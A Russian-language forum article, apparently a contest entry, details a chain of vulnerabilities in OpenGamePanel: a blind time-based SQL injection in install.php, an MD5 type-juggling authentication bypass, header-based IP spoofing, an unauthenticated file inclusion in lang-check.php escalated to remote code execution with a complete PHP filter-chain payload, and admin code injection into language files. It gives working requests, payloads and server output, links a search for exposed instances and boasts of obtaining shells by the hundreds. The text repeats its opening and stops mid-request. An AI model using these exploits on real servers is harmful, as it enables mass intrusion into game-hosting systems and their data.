D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор grozdniyandy
Статья написана для Конкурса статей #10
Существует много статей где одна крутая уязвимость и много CTF где тепочка разных уязвимостей. На этот раз роясь в коде очередного проекта, я обнаружил цепочку уязвимостей, да такую, что в итоге можно бабахнуть шеллы сотнями (https://en.fofa.info/result?qbase64=Ik9HUF9MQU5HX2dhbWVtYW5hZ2VyIg==)! Эта статья расскажет о том, как я нашёл несколько уязвимостей в OpenGamePanel: от банальной SQL-инъекции до обхода авторизации через Type Juggling — и не только. Если вас интересуют только шеллы, можете смело перейти в часть RCE.
Введение
Техники
SQL-инъекция
Я никто
Приведение типов (Type Juggling)
Это не я, отвечаю
Долгожданный, но неожиданный РЦЕ
Я адмэн
Ненужное продолжение
Заключение
Введение
OpenGamePanel (OGP) — классический «движок» для управления игровыми серверами. Он умеет почти всё: устанавливать серверы, предоставлять удобный мониторинг и т.д. Но, как и с любым другим большим проектом, иногда в нём обнаруживаются уязвимости и логические дыры в коде.
Техники
Первый вопрос: «Как искать уязвимости?». У всех подход может отличаться. Кто-то открывает проект целиком и методично «прогрызает» код, кто-то запускает grep по ключевым словам ($_GET, eval, exec, include и т. д.). Лично я люблю сочетать оба способа: сначала грубый поиск по потенциально опасным конструкциям, а потом точечное изучение подозрительных участков кода вручную.
Semgrep и прочие инструменты статического анализа очень полезны, но без контекста они часто срабатывают «на всё подряд». Можно увидеть что-то вроде «О, тут потенциальный RCE!» — но на практике окажется, что этот скрипт запускают только админы, да ещё и с жёсткими фильтрами. Или наоборот — какой-то «невинный» участок кода неожиданно оказывается крайне опасным (привет, ==). Поэтому без ручной проверки и понимания логики не обойтись.
Иногда люди целенаправленно ищут RCE, а кому-то важнее найти уязвимости без авторизации, ведь они «дороже» и опаснее: эксплуатировать их может кто угодно, не входя в систему. У меня тоже был приоритет найти «дикую» дыру: такую, чтобы без логина и пароля можно было натворить что-нибудь интересное.
SQL-инъекция
Забавы ради я начал с проверки install.php. Если вы думаете что эти скрипты автоматически удаляются либо их и так после установки удаляют, вы правы, но есть одна причина из-за которой всё таки стоит посмотреть. И так кто-то сообщит это вендору и получит ЦВЕ, если продукт довольно знаменит. В друпал например репортят гаджеты, хоть и самой десериализации нет, тут одно и то же. Так что не стоит у себя создавать привычку в котором "игнорируете" эти скрипты.
Именно в этой части нет причины проверять где какая функция, потому что аутентификации пока что нет и можно "трогать" всё. Так что я просто начал просматривать некоторые функции. В OGP, внутри install.php, есть функция stripinput, которая должна «защищать» от инъекций:
Код: Скопировать в буфер обмена
Сами по себе кавычки вроде бы заменяются, кроме обратной кавычки. Обратная кавычка используется с именами таблиц, из-за этого на него забил абсолютно весь мир, серъёзно, проверьте функции которые якобы защищают от скули, вряд ли где то будет эскейпить бэктик.
Код: Скопировать в буфер обмена
То что выше я скулёй не засчитаю, там он создаёт таблицу. В install.php используется функция printView.
Код: Скопировать в буфер обмена
printView зовёт getSettings()
Код: Скопировать в буфер обмена
Как вы видите используется prepared statement, который якобы должен предотвратить от скули, но замены бэктика нигде нет, так что у нас тут слепая скуля через SELECT.
Я хекснул имя таблицы (ogp_widgets) и столбца (title) и отправил вот такой запрос:
Код: Скопировать в буфер обмена
Если запрос успешный, то ответ придёт черес 3 секунды:
Код: Скопировать в буфер обмена
По логам MySQL видно, что запрос действительно выполняется, и при наличии нужной таблицы наблюдается задержка в 3 секунды.
Я никто
Эта часть про обход аутентификации и про РЦЕ без аутентификации. Эти уязвимости абсолютно разные и не имеют никакого отношения друг к другу. Я просто хочу показать это как пример того как выглядит "идеальный" лаб с реальным продуктом.
Приведение типов (Type Juggling)
После проверки ненужной install.php "чтением функций", я решил проверить $_GET/$_POST/$_REQUEST. Фишка тут в том чтобы не проверять то что внутри аутентификации, например если видим что-то такого рода, игнор:
Код: Скопировать в буфер обмена
В целом пару минут спустя, я нашел такое:
Код: Скопировать в буфер обмена
Если первый параметр request[0] равен "create", то в качестве имени пользователя берётся request[1], а в качестве пароля — request[2]. После этого идёт проверка на md5($password) == $userInfo['users_passwd']. Обратите внимание: используется оператор ==, а не ===. При нестрогом сравнении PHP может автоматически преобразовывать типы.
Что такое Type Juggling?
В PHP тип переменной может меняться «на лету» в зависимости от контекста. Например, при сравнении строки с числом, строка пытается привести себя к числу:
Код: Скопировать в буфер обмена
Строки вида "0e..." трактуются как число в «научной нотации» и фактически превращаются в 0.
Если md5($password) даёт хеш, начинающийся на "0e...", то при нестрогом сравнении это приравнивается к нулю и, соответственно, будет «совпадать» с любым другим подобным «нулевым» хешем. Есть известные «пароли-коллизии», вроде 240610708 или QNKCDZO, у которых md5() имеет вид "0e...".
Именно это позволяет нам «схитрить» — например, запросом:
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
Та же проблема наблюдается в логине:
Код: Скопировать в буфер обмена
Нет, это не главная уязвимость, это просто относительно редкая уязвимость (https://app.opencve.io/cve/?cvss=&search=type+juggling).
Это не я, отвечаю
Это приложение как будто мой новогодний подарок, потому что именно тут уязвимости которые находить в одном и том же месте, редкость просто. Мы все видим эти CTF и репорты баг баунти с обоходом рейт лимитов или чтением каких то файлов написав форвард хост как 127.0.0.1. OGP есть похожий механизм в двух местах, один при проверке рейт лимита, а другой при проверке "forwarded hosts"
Чтобы найти эту уязвимость, я просто полистал api_functions.php , так что технику назовём "читай код". Также имя файла кричит "тут уязвимость". Но естественно есть риски проверок таких функций, возможно их написали, но не используют, так что уязвимость будет ненужной, мы же не библиотеку проверяем. Кароч, я увидел такой кусок кода:
Код: Скопировать в буфер обмена
getClientForwardedIP проверяет существование хидеров. Если эта функция используется где то, то мы можем обмануть систему. Ну это в целом будет полезно в случаях где есть список разрешенных айпишек.
Код: Скопировать в буфер обмена
Список тоже есть:
Код: Скопировать в буфер обмена
Обход:
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
Одна и та же проблема в главной странице, но тут уже берёт то что в хидере как реальный айпи.
Код: Скопировать в буфер обмена
Тут забирает айпи с хидера если он есть:
Код: Скопировать в буфер обмена
К сожалению, и в этой функции, и в той которая выше (там дополнитекьная функция тоже есть) есть валидация, если бы её не было, то была бы возможна скуля. Разрабу повезло хД
Долгожданный, но неожиданный РЦЕ
У всех нас есть какие то инстинкты, перед тем как подойти к любой девушке этот инстинкт всегда срабатывает у меня, вот и как разультат этого инстинкта я начал проверять опен сорс проекты один за другим. К сожалению инстинкты нельзя "создать", но всегда можно улучшить, самое ужасное то что, нет детектора инстинктов чтобы мы знали над чем стоит работать, а над чем нет. Самые крутые статьи которые я читал, основаны на знаниях и инстинктах. Взлом фейсбук например от orange, кому бы пришло в голову проверить MDM (Управление мобильными устройствами), но также нужны знания чтобы копать в направлении этих инстинктов.
Решил я проверить свой инстинкт, прочитав имена файлов и их местонахождение в ОГП.
Код: Скопировать в буфер обмена
То, что мы хотим найти, – это RCE. Очевидно, оно может находиться в каком-то сервисе, например, в Crypt, но, судя по названию, это что-то, связанное с криптографией. Я понимаю, что модули, вероятно, требуют аутентификации, темы могут содержать отражённый XSS (но обычно там просто статическая страница). Папка Includes отвечает за функции, и хотя проверить все функции может быть не самой худшей идеей, это крайне трудоёмко, ведь некоторые из них могут вообще не использоваться в самом приложении.
Папка lang содержит языковые файлы и выглядит самой безобидной, но если подумать логически, для неё не требуется аутентификация. Обычно PHP-код в языковых файлах – это просто определения или фрагменты, которые напрямую не выполняются из браузера. Однако любопытно, что lang-check.php можно открыть из браузера. Этот файл проверяет, нет ли пропущенных переменных (переводов слов) или, наоборот, лишних. Кажется, что это тоже безобидно, так как, по идее, оно не должно принимать никаких данных от пользователя. Но если гипотетически оно всё же что-то принимает, то это могли бы быть, например, название языка для проверки или файл, в котором определяются переменные.
Моделирование угроз (Threat Modeling) — это процесс выявления, оценки и классификации потенциальных угроз и уязвимостей в системе до написания кода. Если бы мне сказали что будет такая страница, в которой будет проверка именно такого рода, я бы заранее предложил чтобы не было никакого "инпут"а с стороны юзера и предложил бы добавить аутентификацию.
Ну кароч, в начале файла есть такое:
Код: Скопировать в буфер обмена
Тут явно ясно файл инклужн, никакой санитизации, никакого листа.
Запрос:
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
iconv используется для преобразования текста из одной кодировки в другую. По дефолту в PHP этот екстеншн включен. Так что я просто копи пастнул готовую полезную нагрузку:
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
Эта уязвимость и есть способ через который можно будет получить шеллы
Я адмэн
В этой части статьи, я объясню код инъекцию авторизовавшись как админ.
Ненужное продолжение
Раз я открыл lang-check.php, не помешало бы проверить функцию где требует сессию админа. Странно что они для всех функций этим не воспользовались.
Код: Скопировать в буфер обмена
Моё внимание привлёк код выше, ведь там <?php, как я понял, он просто добавляет переменную и её перевод, для языка. Для этого нам нужно понять то, чему должен быть равен $file. Если просто открыть страницу /lang/lang-check.php, мы увидим что файлы, это Язык/файл.пхп, например, Arabic/global.php. Так что я в пост запросе как value/key посставил Arabic/global.php и свой эвал.
Код: Скопировать в буфер обмена
define(\''.$var.'\', "'.$value.'") это то куда нужно фокусироваться для создания запроса, я в value поставил полезную нагрузку, из за которой тест будет пустой, а после уже пойдет моя полезная нагрузка и пустой принт (чтобы код был без эрроров). В итоге добавиться такая строка в global.php:
Код: Скопировать в буфер обмена
Я просто открыл /lang/Arabic/global.php?cmd=system('id'); и получил ответ от сервера.
Заключение
В результате комбинированного анализа (поиск «подозрительных» конструкций, изучение кода вручную, проверка логики входа, проверка установки и проверка файлов локализации) удалось найти целый набор уязвимостей в OpenGamePanel. Я не хотел чтобы это была очередной "теоретической" статьёй, так что можете проверить подлинность того что я написал сами и убдеиться в реальности ситуации.
Статья написана для Конкурса статей #10
Существует много статей где одна крутая уязвимость и много CTF где тепочка разных уязвимостей. На этот раз роясь в коде очередного проекта, я обнаружил цепочку уязвимостей, да такую, что в итоге можно бабахнуть шеллы сотнями (https://en.fofa.info/result?qbase64=Ik9HUF9MQU5HX2dhbWVtYW5hZ2VyIg==)! Эта статья расскажет о том, как я нашёл несколько уязвимостей в OpenGamePanel: от банальной SQL-инъекции до обхода авторизации через Type Juggling — и не только. Если вас интересуют только шеллы, можете смело перейти в часть RCE.
Введение
Техники
SQL-инъекция
Я никто
Приведение типов (Type Juggling)
Это не я, отвечаю
Долгожданный, но неожиданный РЦЕ
Я адмэн
Ненужное продолжение
Заключение
Введение
OpenGamePanel (OGP) — классический «движок» для управления игровыми серверами. Он умеет почти всё: устанавливать серверы, предоставлять удобный мониторинг и т.д. Но, как и с любым другим большим проектом, иногда в нём обнаруживаются уязвимости и логические дыры в коде.
Техники
Первый вопрос: «Как искать уязвимости?». У всех подход может отличаться. Кто-то открывает проект целиком и методично «прогрызает» код, кто-то запускает grep по ключевым словам ($_GET, eval, exec, include и т. д.). Лично я люблю сочетать оба способа: сначала грубый поиск по потенциально опасным конструкциям, а потом точечное изучение подозрительных участков кода вручную.
Semgrep и прочие инструменты статического анализа очень полезны, но без контекста они часто срабатывают «на всё подряд». Можно увидеть что-то вроде «О, тут потенциальный RCE!» — но на практике окажется, что этот скрипт запускают только админы, да ещё и с жёсткими фильтрами. Или наоборот — какой-то «невинный» участок кода неожиданно оказывается крайне опасным (привет, ==). Поэтому без ручной проверки и понимания логики не обойтись.
Иногда люди целенаправленно ищут RCE, а кому-то важнее найти уязвимости без авторизации, ведь они «дороже» и опаснее: эксплуатировать их может кто угодно, не входя в систему. У меня тоже был приоритет найти «дикую» дыру: такую, чтобы без логина и пароля можно было натворить что-нибудь интересное.
SQL-инъекция
Забавы ради я начал с проверки install.php. Если вы думаете что эти скрипты автоматически удаляются либо их и так после установки удаляют, вы правы, но есть одна причина из-за которой всё таки стоит посмотреть. И так кто-то сообщит это вендору и получит ЦВЕ, если продукт довольно знаменит. В друпал например репортят гаджеты, хоть и самой десериализации нет, тут одно и то же. Так что не стоит у себя создавать привычку в котором "игнорируете" эти скрипты.
Именно в этой части нет причины проверять где какая функция, потому что аутентификации пока что нет и можно "трогать" всё. Так что я просто начал просматривать некоторые функции. В OGP, внутри install.php, есть функция stripinput, которая должна «защищать» от инъекций:
Код: Скопировать в буфер обмена
Код:
// file: install.php
function stripinput($text) {
if (ini_get('magic_quotes_gpc')) $text = stripslashes($text);
$search = array("\"", "'", "\\", '\"', "\'", "<", ">", " ");
$replace = array(""", "'", "\", """, "'", "<", ">", " ");
$text = str_replace($search, $replace, $text);
return $text;
}
$table_prefix = stripinput($_POST['table_prefix']);
Код: Скопировать в буфер обмена
Код:
file: install.php
CREATE TABLE IF NOT EXISTS `".$table_prefix."modules
…..
$view->printView();
Код: Скопировать в буфер обмена
Код:
file: view.php
function printView($cleared = false, $dataType = "html") {
global $db, $OGPLangPre;
if ( is_object($db) && array_key_exists( "OGPDatabase", class_parents($db) ) ) {
$panel_settings = $db->getSettings();
}
Код: Скопировать в буфер обмена
Код:
public function getSettings() {
if ( !$this->link ) return;
$query = sprintf("SELECT * FROM `%ssettings`",
$this->table_prefix);
Я хекснул имя таблицы (ogp_widgets) и столбца (title) и отправил вот такой запрос:
Код: Скопировать в буфер обмена
db_host=localhost&db_user=ogp_user&db_pass=ogp_password&db_name=ogp_db&table_prefix=ogp_modules`+UNION+SELECT+1,2,3,4,((SELECT+SLEEP(3)+FROM+DUAL+WHERE+(SELECT+table_name+FROM+information_schema.columns+WHERE+table_schema%3dDATABASE()+AND+column_name+LIKE+0x7469746C65+LIMIT+0,1)+LIKE+0x6F67705F77696467657473));--+-&next=Next
Если запрос успешный, то ответ придёт черес 3 секунды:
Код: Скопировать в буфер обмена
Код:
250113 13:36:00 63 Query SELECT `id`,`title`,`folder`,`version`,`db_version` FROM `ogp_modules` UNION SELECT 1,2,3,4,((SELECT SLEEP(3) FROM DUAL WHERE (SELECT table_name FROM information_schema.columns WHERE table_schema=DATABASE() AND column_name LIKE 0x7469746C65 LIMIT 0,1) LIKE 0x6F67705F77696467657473));-- -modules`
250113 13:36:03 63 Quit
Я никто
Эта часть про обход аутентификации и про РЦЕ без аутентификации. Эти уязвимости абсолютно разные и не имеют никакого отношения друг к другу. Я просто хочу показать это как пример того как выглядит "идеальный" лаб с реальным продуктом.
Приведение типов (Type Juggling)
После проверки ненужной install.php "чтением функций", я решил проверить $_GET/$_POST/$_REQUEST. Фишка тут в том чтобы не проверять то что внутри аутентификации, например если видим что-то такого рода, игнор:
Код: Скопировать в буфер обмена
if ( isset($_SESSION['users_login']) )
В целом пару минут спустя, я нашел такое:
Код: Скопировать в буфер обмена
Код:
file:ogp_api.php
if($request[0] == "create")
{
$user = isset($request[1])?urldecode($request[1]):$_POST['user'];
$password = isset($request[2])?urldecode($request[2]):$_POST['password'];
$userInfo = $db->getUser($user);
if(isset($userInfo['users_passwd']) && md5($password) == $userInfo['users_passwd'])
Что такое Type Juggling?
В PHP тип переменной может меняться «на лету» в зависимости от контекста. Например, при сравнении строки с числом, строка пытается привести себя к числу:
Код: Скопировать в буфер обмена
Код:
$a = "0e12092091";
$b = 0;
if ($a == $b) {
echo "Равны"; // Печатает "Равны", поскольку "0e12092091" -> 0
}
Если md5($password) даёт хеш, начинающийся на "0e...", то при нестрогом сравнении это приравнивается к нулю и, соответственно, будет «совпадать» с любым другим подобным «нулевым» хешем. Есть известные «пароли-коллизии», вроде 240610708 или QNKCDZO, у которых md5() имеет вид "0e...".
Именно это позволяет нам «схитрить» — например, запросом:
Код: Скопировать в буфер обмена
/ogp_api.php?token/create/admin/QNKCDZO
Ответ:
Код: Скопировать в буфер обмена
{"status":"200","message":"1e585026f4e5b2edd48e09899b27c39ad90203b2ced4ff1b2e0aab2bede28b28"}
Та же проблема наблюдается в логине:
Код: Скопировать в буфер обмена
Код:
file:index.php
$userInfo = $db->getUser($_POST['ulogin']);
// If result matched $myusername and $mypassword, table row must be 1 row
if( isset($userInfo['users_passwd']) && md5($_POST['upassword']) == $userInfo['users_passwd'])
Это не я, отвечаю
Это приложение как будто мой новогодний подарок, потому что именно тут уязвимости которые находить в одном и том же месте, редкость просто. Мы все видим эти CTF и репорты баг баунти с обоходом рейт лимитов или чтением каких то файлов написав форвард хост как 127.0.0.1. OGP есть похожий механизм в двух местах, один при проверке рейт лимита, а другой при проверке "forwarded hosts"
Чтобы найти эту уязвимость, я просто полистал api_functions.php , так что технику назовём "читай код". Также имя файла кричит "тут уязвимость". Но естественно есть риски проверок таких функций, возможно их написали, но не используют, так что уязвимость будет ненужной, мы же не библиотеку проверяем. Кароч, я увидел такой кусок кода:
Код: Скопировать в буфер обмена
Код:
file:api_functions.php
function getClientForwardedIP(){
if(isset($_SERVER['HTTP_CF_CONNECTING_IP']) and !empty($_SERVER['HTTP_CF_CONNECTING_IP']))
return $_SERVER['HTTP_CF_CONNECTING_IP'];
if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) and !empty($_SERVER['HTTP_X_FORWARDED_FOR']))
return $_SERVER['HTTP_X_FORWARDED_FOR'];
if(isset($_SERVER['HTTP_X_REAL_IP']) and !empty($_SERVER['HTTP_X_REAL_IP']))
return $_SERVER['HTTP_X_REAL_IP'];
return false;
}
Код: Скопировать в буфер обмена
Код:
file:api_functions.php
function is_authorized()
…..
$client_forwarded_ip = getClientForwardedIP();
Код: Скопировать в буфер обмена
Код:
/api_authorized.fwd_hosts
2.2.2.2
3.3.3.3
Код: Скопировать в буфер обмена
Код:
GET /ogp_api.php?token/test/a HTTP/1.1
CF-Connecting-IP: 2.2.2.2
Код: Скопировать в буфер обмена
{"status":"400","message":"Invalid Token"}
Одна и та же проблема в главной странице, но тут уже берёт то что в хидере как реальный айпи.
Код: Скопировать в буфер обмена
Код:
functions.php
function getClientIPAddress(){
if(isset($_SERVER['HTTP_CF_CONNECTING_IP']) && !empty($_SERVER['HTTP_CF_CONNECTING_IP'])){
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
}else if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && !empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else if(isset($_SERVER['HTTP_X_REAL_IP']) && !empty($_SERVER['HTTP_X_REAL_IP'])){
$ip = $_SERVER['HTTP_X_REAL_IP'];
}
if(filter_var(@(string)$ip, FILTER_VALIDATE_IP)){
return $ip;
}
return $_SERVER['REMOTE_ADDR'];
}
Код: Скопировать в буфер обмена
Код:
index.php
if ( isset($_POST['login']) )
{
$client_ip = getClientIPAddress();
Долгожданный, но неожиданный РЦЕ
У всех нас есть какие то инстинкты, перед тем как подойти к любой девушке этот инстинкт всегда срабатывает у меня, вот и как разультат этого инстинкта я начал проверять опен сорс проекты один за другим. К сожалению инстинкты нельзя "создать", но всегда можно улучшить, самое ужасное то что, нет детектора инстинктов чтобы мы знали над чем стоит работать, а над чем нет. Самые крутые статьи которые я читал, основаны на знаниях и инстинктах. Взлом фейсбук например от orange, кому бы пришло в голову проверить MDM (Управление мобильными устройствами), но также нужны знания чтобы копать в направлении этих инстинктов.
Решил я проверить свой инстинкт, прочитав имена файлов и их местонахождение в ОГП.
Код: Скопировать в буфер обмена
Код:
├── api_authorized.fwd_hosts
├── api_authorized.hosts
├── COPYING
├── Crypt
│ └── XXTEA.php
├── css
│ └── global.css
├── home.php
├── images
│ ├── addfolder.png
│ ├── auto_update.png
│ ├── banner.gif
│ ├── bg
│ ├── bg.png
│ ├── customfields.png
│ ├── editconfig.png
│ ├── edit.png
│ ├── exec.png
│ ├── filemanager.png
│ ├── file_size.png
│ ├── flags
│ ├── folder.png
│ ├── ftp.png
│ ├── gamemanager.png
│ ├── game_monitor.png
│ ├── half.png
│ ├── icon_help_small.gif
│ ├── icons
│ ├── install.png
│ ├── loading.gif
│ ├── locked.png
│ ├── log.png
│ ├── magnifglass.png
│ ├── master.png
│ ├── offline.png
│ ├── online_big.png
│ ├── online_passwd.png
│ ├── online.png
│ ├── os
│ ├── progressBar.png
│ ├── rcon_preset.png
│ ├── restart.png
│ ├── rsync.png
│ ├── start.png
│ ├── steam.png
│ ├── stop.png
│ ├── tablesorter_collapse.png
│ ├── tablesorter_expand.png
│ ├── term.png
│ ├── txt.png
│ ├── unlocked.png
│ └── viewer
├── includes
│ ├── api_functions.php
│ ├── classes
│ ├── config.inc.php
│ ├── database_mysqli.php
│ ├── database.php
│ ├── fonts
│ ├── form_table_class.php
│ ├── functions.php
│ ├── helpers.php
│ ├── html_functions.php
│ ├── ip_in_range.php
│ ├── lang.php
│ ├── lib_remote.php
│ ├── navig.php
│ ├── PHPMailer
│ ├── phpxmlrpc
│ ├── refreshed.php
│ ├── view.php
│ ├── XmlRPC-bootstrap.php
│ └── XmlRPC.php
├── index.php
├── js
│ ├── datetimepicker
│ ├── global.js
│ ├── jquery
│ ├── magnific
│ ├── modules
│ └── zlib
├── lang
│ ├── Arabic
│ ├── Chinese(China)
│ ├── Croatian(Croatia)
│ ├── Czech(CzechRepublic)
│ ├── Danish
│ ├── English
│ ├── Finnish(Finland)
│ ├── French
│ ├── German
│ ├── Greek(Greece)
│ ├── Hebrew(Israel)
│ ├── Hungarian
│ ├── Italian
│ ├── lang-check.php
│ ├── Persian
│ ├── Polish
│ ├── Portuguese
│ ├── Portuguese(Brazil)
│ ├── README.lang
│ ├── Romanian(Romania)
│ ├── Russian
│ ├── Serbian(Serbia)
│ ├── Spanish
│ ├── Swedish(Sweden)
│ └── Turkish(Turkey)
├── modules
│ ├── addonsmanager
│ ├── administration
│ ├── config_games
│ ├── dashboard
│ ├── extras
│ ├── ftp
│ ├── gamemanager
│ ├── litefm
│ ├── lostpwd
│ ├── modulemanager
│ ├── mysql
│ ├── README.modules
│ ├── register
│ ├── server
│ ├── settings
│ ├── status
│ ├── subusers
│ ├── TS3Admin
│ ├── update
│ ├── user_admin
│ └── user_games
├── ogp_api.php
├── protocol
│ ├── GameQ
│ ├── lgsl
│ └── TeamSpeak3
├── README.md
├── test_api.php
└── themes
├── Modern
├── README.themes
└── Revolution
Папка lang содержит языковые файлы и выглядит самой безобидной, но если подумать логически, для неё не требуется аутентификация. Обычно PHP-код в языковых файлах – это просто определения или фрагменты, которые напрямую не выполняются из браузера. Однако любопытно, что lang-check.php можно открыть из браузера. Этот файл проверяет, нет ли пропущенных переменных (переводов слов) или, наоборот, лишних. Кажется, что это тоже безобидно, так как, по идее, оно не должно принимать никаких данных от пользователя. Но если гипотетически оно всё же что-то принимает, то это могли бы быть, например, название языка для проверки или файл, в котором определяются переменные.
Моделирование угроз (Threat Modeling) — это процесс выявления, оценки и классификации потенциальных угроз и уязвимостей в системе до написания кода. Если бы мне сказали что будет такая страница, в которой будет проверка именно такого рода, я бы заранее предложил чтобы не было никакого "инпут"а с стороны юзера и предложил бы добавить аутентификацию.
Ну кароч, в начале файла есть такое:
Код: Скопировать в буфер обмена
Код:
if(isset($_GET['file']))
{
$file = urldecode($_GET['file']);
include($file);
$constants = get_defined_constants(true);
echo base64_encode(serialize($constants['user']));
exit();
}
Запрос:
Код: Скопировать в буфер обмена
GET /lang/lang-check.php?0=id&file=/etc/passwd HTTP/1.1
Ответ:
Код: Скопировать в буфер обмена
Код:
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
Код: Скопировать в буфер обмена
GET /lang/lang-check.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd HTTP/1.1
Ответ:
Код: Скопировать в буфер обмена
Код:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<каракули>
Я адмэн
В этой части статьи, я объясню код инъекцию авторизовавшись как админ.
Ненужное продолжение
Раз я открыл lang-check.php, не помешало бы проверить функцию где требует сессию админа. Странно что они для всех функций этим не воспользовались.
Код: Скопировать в буфер обмена
Код:
$file = $lang_name."/".$glf;
if( isset( $_POST[str_replace(".", "_", $file)] ) )
{
echo "<h2>".$lang_name."</h2>\n";
echo $file."\n Values Added.";
$add_values = '<?php '."\n";
foreach ( $_POST as $var => $value )
{
if( $var != str_replace(".", "_", $file) )
$add_values .= 'define(\''.$var.'\', "'.$value.'");'."\n";
}
$add_values .= '?>';
$fh = fopen($file, 'a') or die("can't open file");
fwrite($fh, $add_values);
fclose($fh);
}
}
Код: Скопировать в буфер обмена
Код:
POST /lang/lang-check.php HTTP/1.1
